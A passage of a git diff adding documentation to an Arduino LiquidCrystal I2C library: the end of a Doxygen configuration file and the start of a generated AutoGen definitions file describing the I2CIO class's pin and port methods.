not supported properly for IE 6.0, but are supported on all modern browsers. +# Note that when changing this option you need to delete any form_*.png files +# in the HTML output before the changes have effect. + +FORMULA_TRANSPARENT = YES + +# Enable the USE_MATHJAX option to render LaTeX formulas using MathJax +# (see http://www.mathjax.org) which uses client side Javascript for the +# rendering instead of using prerendered bitmaps. Use this if you do not +# have LaTeX installed or if you want to formulas look prettier in the HTML +# output. When enabled you also need to install MathJax separately and +# configure the path to it using the MATHJAX_RELPATH option. + +USE_MATHJAX = NO + +# When MathJax is enabled you need to specify the location relative to the +# HTML output directory using the MATHJAX_RELPATH option. The destination +# directory should contain the MathJax.js script. For instance, if the mathjax +# directory is located at the same level as the HTML output directory, then +# MATHJAX_RELPATH should be ../mathjax. The default value points to the +# mathjax.org site, so you can quickly see the result without installing +# MathJax, but it is strongly recommended to install a local copy of MathJax +# before deployment. + +MATHJAX_RELPATH = http://www.mathjax.org/mathjax + +# When the SEARCHENGINE tag is enabled doxygen will generate a search box +# for the HTML output. The underlying search engine uses javascript +# and DHTML and should work on any modern browser. Note that when using +# HTML help (GENERATE_HTMLHELP), Qt help (GENERATE_QHP), or docsets +# (GENERATE_DOCSET) there is already a search function so this one should +# typically be disabled. For large projects the javascript based search engine +# can be slow, then enabling SERVER_BASED_SEARCH may provide a better solution. + +SEARCHENGINE = YES + +# When the SERVER_BASED_SEARCH tag is enabled the search engine will be +# implemented using a PHP enabled web server instead of at the web client +# using Javascript. Doxygen will generate the search PHP script and index +# file to put on the web server. The advantage of the server +# based approach is that it scales better to large projects and allows +# full text search. The disadvantages are that it is more difficult to setup +# and does not have live searching capabilities. + +SERVER_BASED_SEARCH = NO + +#--------------------------------------------------------------------------- +# configuration options related to the LaTeX output +#--------------------------------------------------------------------------- + +# If the GENERATE_LATEX tag is set to YES (the default) Doxygen will +# generate Latex output. + +GENERATE_LATEX = NO + +# The LATEX_OUTPUT tag is used to specify where the LaTeX docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `latex' will be used as the default path. + +LATEX_OUTPUT = latex + +# The LATEX_CMD_NAME tag can be used to specify the LaTeX command name to be +# invoked. If left blank `latex' will be used as the default command name. +# Note that when enabling USE_PDFLATEX this option is only used for +# generating bitmaps for formulas in the HTML output, but not in the +# Makefile that is written to the output directory. + +LATEX_CMD_NAME = latex + +# The MAKEINDEX_CMD_NAME tag can be used to specify the command name to +# generate index for LaTeX. If left blank `makeindex' will be used as the +# default command name. + +MAKEINDEX_CMD_NAME = makeindex + +# If the COMPACT_LATEX tag is set to YES Doxygen generates more compact +# LaTeX documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_LATEX = NO + +# The PAPER_TYPE tag can be used to set the paper type that is used +# by the printer. Possible values are: a4, letter, legal and +# executive. If left blank a4wide will be used. + +PAPER_TYPE = a4 + +# The EXTRA_PACKAGES tag can be to specify one or more names of LaTeX +# packages that should be included in the LaTeX output. + +EXTRA_PACKAGES = + +# The LATEX_HEADER tag can be used to specify a personal LaTeX header for +# the generated latex document. The header should contain everything until +# the first chapter. If it is left blank doxygen will generate a +# standard header. Notice: only use this tag if you know what you are doing! + +LATEX_HEADER = + +# The LATEX_FOOTER tag can be used to specify a personal LaTeX footer for +# the generated latex document. The footer should contain everything after +# the last chapter. If it is left blank doxygen will generate a +# standard footer. Notice: only use this tag if you know what you are doing! + +LATEX_FOOTER = + +# If the PDF_HYPERLINKS tag is set to YES, the LaTeX that is generated +# is prepared for conversion to pdf (using ps2pdf). The pdf file will +# contain links (just like the HTML output) instead of page references +# This makes the output suitable for online browsing using a pdf viewer. + +PDF_HYPERLINKS = YES + +# If the USE_PDFLATEX tag is set to YES, pdflatex will be used instead of +# plain latex in the generated Makefile. Set this option to YES to get a +# higher quality PDF documentation. + +USE_PDFLATEX = YES + +# If the LATEX_BATCHMODE tag is set to YES, doxygen will add the \\batchmode. +# command to the generated LaTeX files. This will instruct LaTeX to keep +# running if errors occur, instead of asking the user for help. +# This option is also used when generating formulas in HTML. + +LATEX_BATCHMODE = NO + +# If LATEX_HIDE_INDICES is set to YES then doxygen will not +# include the index chapters (such as File Index, Compound Index, etc.) +# in the output. + +LATEX_HIDE_INDICES = NO + +# If LATEX_SOURCE_CODE is set to YES then doxygen will include +# source code with syntax highlighting in the LaTeX output. +# Note that which sources are shown also depends on other settings +# such as SOURCE_BROWSER. + +LATEX_SOURCE_CODE = NO + +#--------------------------------------------------------------------------- +# configuration options related to the RTF output +#--------------------------------------------------------------------------- + +# If the GENERATE_RTF tag is set to YES Doxygen will generate RTF output +# The RTF output is optimized for Word 97 and may not look very pretty with +# other RTF readers or editors. + +GENERATE_RTF = NO + +# The RTF_OUTPUT tag is used to specify where the RTF docs will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `rtf' will be used as the default path. + +RTF_OUTPUT = rtf + +# If the COMPACT_RTF tag is set to YES Doxygen generates more compact +# RTF documents. This may be useful for small projects and may help to +# save some trees in general. + +COMPACT_RTF = NO + +# If the RTF_HYPERLINKS tag is set to YES, the RTF that is generated +# will contain hyperlink fields. The RTF file will +# contain links (just like the HTML output) instead of page references. +# This makes the output suitable for online browsing using WORD or other +# programs which support those fields. +# Note: wordpad (write) and others do not support links. + +RTF_HYPERLINKS = YES + +# Load stylesheet definitions from file. Syntax is similar to doxygen's +# config file, i.e. a series of assignments. You only have to provide +# replacements, missing definitions are set to their default value. + +RTF_STYLESHEET_FILE = + +# Set optional variables used in the generation of an rtf document. +# Syntax is similar to doxygen's config file. + +RTF_EXTENSIONS_FILE = + +#--------------------------------------------------------------------------- +# configuration options related to the man page output +#--------------------------------------------------------------------------- + +# If the GENERATE_MAN tag is set to YES (the default) Doxygen will +# generate man pages + +GENERATE_MAN = NO + +# The MAN_OUTPUT tag is used to specify where the man pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `man' will be used as the default path. + +MAN_OUTPUT = man + +# The MAN_EXTENSION tag determines the extension that is added to +# the generated man pages (default is the subroutine's section .3) + +MAN_EXTENSION = .3 + +# If the MAN_LINKS tag is set to YES and Doxygen generates man output, +# then it will generate one additional man file for each entity +# documented in the real man page(s). These additional files +# only source the real man page, but without them the man command +# would be unable to find the correct page. The default is NO. + +MAN_LINKS = NO + +#--------------------------------------------------------------------------- +# configuration options related to the XML output +#--------------------------------------------------------------------------- + +# If the GENERATE_XML tag is set to YES Doxygen will +# generate an XML file that captures the structure of +# the code including all documentation. + +GENERATE_XML = NO + +# The XML_OUTPUT tag is used to specify where the XML pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `xml' will be used as the default path. + +XML_OUTPUT = xml + +# The XML_SCHEMA tag can be used to specify an XML schema, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_SCHEMA = + +# The XML_DTD tag can be used to specify an XML DTD, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_DTD = + +# If the XML_PROGRAMLISTING tag is set to YES Doxygen will +# dump the program listings (including syntax highlighting +# and cross-referencing information) to the XML output. Note that +# enabling this will significantly increase the size of the XML output. + +XML_PROGRAMLISTING = YES + +#--------------------------------------------------------------------------- +# configuration options for the AutoGen Definitions output +#--------------------------------------------------------------------------- + +# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will +# generate an AutoGen Definitions (see autogen.sf.net) file +# that captures the structure of the code including all +# documentation. Note that this feature is still experimental +# and incomplete at the moment. + +GENERATE_AUTOGEN_DEF = YES + +#--------------------------------------------------------------------------- +# configuration options related to the Perl module output +#--------------------------------------------------------------------------- + +# If the GENERATE_PERLMOD tag is set to YES Doxygen will +# generate a Perl module file that captures the structure of +# the code including all documentation. Note that this +# feature is still experimental and incomplete at the +# moment. + +GENERATE_PERLMOD = NO + +# If the PERLMOD_LATEX tag is set to YES Doxygen will generate +# the necessary Makefile rules, Perl scripts and LaTeX code to be able +# to generate PDF and DVI output from the Perl module output. + +PERLMOD_LATEX = NO + +# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be +# nicely formatted so it can be parsed by a human reader. This is useful +# if you want to understand what is going on. On the other hand, if this +# tag is set to NO the size of the Perl module output will be much smaller +# and Perl will parse it just the same. + +PERLMOD_PRETTY = YES + +# The names of the make variables in the generated doxyrules.make file +# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. +# This is useful so different doxyrules.make files included by the same +# Makefile don't overwrite each other's variables. + +PERLMOD_MAKEVAR_PREFIX = + +#--------------------------------------------------------------------------- +# Configuration options related to the preprocessor +#--------------------------------------------------------------------------- + +# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will +# evaluate all C-preprocessor directives found in the sources and include +# files. + +ENABLE_PREPROCESSING = YES + +# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro +# names in the source code. If set to NO (the default) only conditional +# compilation will be performed. Macro expansion can be done in a controlled +# way by setting EXPAND_ONLY_PREDEF to YES. + +MACRO_EXPANSION = NO + +# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES +# then the macro expansion is limited to the macros specified with the +# PREDEFINED and EXPAND_AS_DEFINED tags. + +EXPAND_ONLY_PREDEF = NO + +# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files +# pointed to by INCLUDE_PATH will be searched when a #include is found. + +SEARCH_INCLUDES = YES + +# The INCLUDE_PATH tag can be used to specify one or more directories that +# contain include files that are not input files but should be processed by +# the preprocessor. + +INCLUDE_PATH = + +# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard +# patterns (like *.h and *.hpp) to filter out the header-files in the +# directories. If left blank, the patterns specified with FILE_PATTERNS will +# be used. + +INCLUDE_FILE_PATTERNS = + +# The PREDEFINED tag can be used to specify one or more macro names that +# are defined before the preprocessor is started (similar to the -D option of +# gcc). The argument of the tag is a list of macros of the form: name +# or name=definition (no spaces). If the definition and the = are +# omitted =1 is assumed. To prevent a macro definition from being +# undefined via #undef or recursively expanded use the := operator +# instead of the = operator. + +PREDEFINED = + +# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then +# this tag can be used to specify a list of macro names that should be expanded. +# The macro definition that is found in the sources will be used. +# Use the PREDEFINED tag if you want to use a different macro definition that +# overrules the definition found in the source code. + +EXPAND_AS_DEFINED = + +# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then +# doxygen's preprocessor will remove all references to function-like macros +# that are alone on a line, have an all uppercase name, and do not end with a +# semicolon, because these will confuse the parser if not removed. + +SKIP_FUNCTION_MACROS = YES + +#--------------------------------------------------------------------------- +# Configuration::additions related to external references +#--------------------------------------------------------------------------- + +# The TAGFILES option can be used to specify one or more tagfiles. +# Optionally an initial location of the external documentation +# can be added for each tagfile. The format of a tag file without +# this location is as follows: +# TAGFILES = file1 file2 ... +# Adding location for the tag files is done as follows: +# TAGFILES = file1=loc1 "file2 = loc2" ... +# where "loc1" and "loc2" can be relative or absolute paths or +# URLs. If a location is present for each tag, the installdox tool +# does not have to be run to correct the links. +# Note that each tag file must have a unique name +# (where the name does NOT include the path) +# If a tag file is not located in the directory in which doxygen +# is run, you must also specify the path to the tagfile here. + +TAGFILES = + +# When a file name is specified after GENERATE_TAGFILE, doxygen will create +# a tag file that is based on the input files it reads. + +GENERATE_TAGFILE = + +# If the ALLEXTERNALS tag is set to YES all external classes will be listed +# in the class index. If set to NO only the inherited external classes +# will be listed. + +ALLEXTERNALS = NO + +# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed +# in the modules index. If set to NO, only the current project's groups will +# be listed. + +EXTERNAL_GROUPS = YES + +# The PERL_PATH should be the absolute path and name of the perl script +# interpreter (i.e. the result of `which perl'). + +PERL_PATH = /usr/bin/perl + +#--------------------------------------------------------------------------- +# Configuration options related to the dot tool +#--------------------------------------------------------------------------- + +# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will +# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base +# or super classes. Setting the tag to NO turns the diagrams off. Note that +# this option also works with HAVE_DOT disabled, but it is recommended to +# install and use dot, since it yields more powerful graphs. + +CLASS_DIAGRAMS = YES + +# You can define message sequence charts within doxygen comments using the \msc +# command. Doxygen will then run the mscgen tool (see +# http://www.mcternan.me.uk/mscgen/) to produce the chart and insert it in the +# documentation. The MSCGEN_PATH tag allows you to specify the directory where +# the mscgen tool resides. If left empty the tool is assumed to be found in the +# default search path. + +MSCGEN_PATH = + +# If set to YES, the inheritance and collaboration graphs will hide +# inheritance and usage relations if the target is undocumented +# or is not a class. + +HIDE_UNDOC_RELATIONS = YES + +# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is +# available from the path. This tool is part of Graphviz, a graph visualization +# toolkit from AT&T and Lucent Bell Labs. The other options in this section +# have no effect if this option is set to NO (the default) + +HAVE_DOT = NO + +# The DOT_NUM_THREADS specifies the number of dot invocations doxygen is +# allowed to run in parallel. When set to 0 (the default) doxygen will +# base this on the number of processors available in the system. You can set it +# explicitly to a value larger than 0 to get control over the balance +# between CPU load and processing speed. + +DOT_NUM_THREADS = 0 + +# By default doxygen will write a font called Helvetica to the output +# directory and reference it in all dot files that doxygen generates. +# When you want a differently looking font you can specify the font name +# using DOT_FONTNAME. You need to make sure dot is able to find the font, +# which can be done by putting it in a standard location or by setting the +# DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory +# containing the font. + +DOT_FONTNAME = Helvetica + +# The DOT_FONTSIZE tag can be used to set the size of the font of dot graphs. +# The default size is 10pt. + +DOT_FONTSIZE = 10 + +# By default doxygen will tell dot to use the output directory to look for the +# FreeSans.ttf font (which doxygen will put there itself). If you specify a +# different font using DOT_FONTNAME you can set the path where dot +# can find it using this tag. + +DOT_FONTPATH = + +# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect inheritance relations. Setting this tag to YES will force the +# the CLASS_DIAGRAMS tag to NO. + +CLASS_GRAPH = YES + +# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect implementation dependencies (inheritance, containment, and +# class references variables) of the class with other documented classes. + +COLLABORATION_GRAPH = YES + +# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for groups, showing the direct groups dependencies + +GROUP_GRAPHS = YES + +# If the UML_LOOK tag is set to YES doxygen will generate inheritance and +# collaboration diagrams in a style similar to the OMG's Unified Modeling +# Language. + +UML_LOOK = NO + +# If set to YES, the inheritance and collaboration graphs will show the +# relations between templates and their instances. + +TEMPLATE_RELATIONS = NO + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT +# tags are set to YES then doxygen will generate a graph for each documented +# file showing the direct and indirect include dependencies of the file with +# other documented files. + +INCLUDE_GRAPH = YES + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and +# HAVE_DOT tags are set to YES then doxygen will generate a graph for each +# documented header file showing the documented files that directly or +# indirectly include this file. + +INCLUDED_BY_GRAPH = YES + +# If the CALL_GRAPH and HAVE_DOT options are set to YES then +# doxygen will generate a call dependency graph for every global function +# or class method. Note that enabling this option will significantly increase +# the time of a run. So in most cases it will be better to enable call graphs +# for selected functions only using the \callgraph command. + +CALL_GRAPH = NO + +# If the CALLER_GRAPH and HAVE_DOT tags are set to YES then +# doxygen will generate a caller dependency graph for every global function +# or class method. Note that enabling this option will significantly increase +# the time of a run. So in most cases it will be better to enable caller +# graphs for selected functions only using the \callergraph command. + +CALLER_GRAPH = NO + +# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen +# will generate a graphical hierarchy of all classes instead of a textual one. + +GRAPHICAL_HIERARCHY = YES + +# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES +# then doxygen will show the dependencies a directory has on other directories +# in a graphical way. The dependency relations are determined by the #include +# relations between the files in the directories. + +DIRECTORY_GRAPH = YES + +# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images +# generated by dot. Possible values are svg, png, jpg, or gif. +# If left blank png will be used. + +DOT_IMAGE_FORMAT = png + +# The tag DOT_PATH can be used to specify the path where the dot tool can be +# found. If left blank, it is assumed the dot tool can be found in the path. + +DOT_PATH = + +# The DOTFILE_DIRS tag can be used to specify one or more directories that +# contain dot files that are included in the documentation (see the +# \dotfile command). + +DOTFILE_DIRS = + +# The MSCFILE_DIRS tag can be used to specify one or more directories that +# contain msc files that are included in the documentation (see the +# \mscfile command). + +MSCFILE_DIRS = + +# The DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of +# nodes that will be shown in the graph. If the number of nodes in a graph +# becomes larger than this value, doxygen will truncate the graph, which is +# visualized by representing a node as a red box. Note that doxygen if the +# number of direct children of the root node in a graph is already larger than +# DOT_GRAPH_MAX_NODES then the graph will not be shown at all. Also note +# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. + +DOT_GRAPH_MAX_NODES = 50 + +# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the +# graphs generated by dot. A depth value of 3 means that only nodes reachable +# from the root by following a path via at most 3 edges will be shown. Nodes +# that lay further from the root node will be omitted. Note that setting this +# option to 1 or 2 may greatly reduce the computation time needed for large +# code bases. Also note that the size of a graph can be further restricted by +# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. + +MAX_DOT_GRAPH_DEPTH = 0 + +# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent +# background. This is disabled by default, because dot on Windows does not +# seem to support this out of the box. Warning: Depending on the platform used, +# enabling this option may lead to badly anti-aliased labels on the edges of +# a graph (i.e. they become hard to read). + +DOT_TRANSPARENT = NO + +# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output +# files in one run (i.e. multiple -o and -T options on the command line). This +# makes dot run faster, but since only newer versions of dot (>1.8.10) +# support this, this feature is disabled by default. + +DOT_MULTI_TARGETS = NO + +# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will +# generate a legend page explaining the meaning of the various boxes and +# arrows in the dot generated graphs. + +GENERATE_LEGEND = YES + +# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will +# remove the intermediate dot files that are used to generate +# the various graphs. + +DOT_CLEANUP = YES diff --git a/libraries/LiquidCrystal/docs/def/doxygen.def b/libraries/LiquidCrystal/docs/def/doxygen.def new file mode 100644 index 0000000..5af747c --- /dev/null +++ b/libraries/LiquidCrystal/docs/def/doxygen.def @@ -0,0 +1,7432 @@ +AutoGen Definitions dummy; +class = { + cp-id = 'class_i2_c_i_o'; + cp-name = 'I2CIO'; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a6f814653d903dc2ff6e8420eeb7954ae'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'i2cAddr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '62'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ac26221011a8b49bcea9ef62712ea88a7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalRead'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '108'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a473206162522b847546777d16a7c6dcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalWrite'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'level'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '136'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a32eb7832075ad6011d67874405a0d0a6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'I2CIO'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '49'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Constructor method + @discussion Class constructor constructor. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a53b94274eb6bb68564cf5243323db887'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pinMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '73'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a0341888753bc54c4384f5593a870fb34'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'portMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a7a3db7bfc15ede0ae9e8c8bd44290ef7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'read'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '94'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ae2063569c927d0008e2593d14504fdcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '123'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a283a99ef1c6f58fa8a0489089cba9682'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_dirMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '142'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1ade58da873af4240a53053ef5f12a2728'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cAddr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '143'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 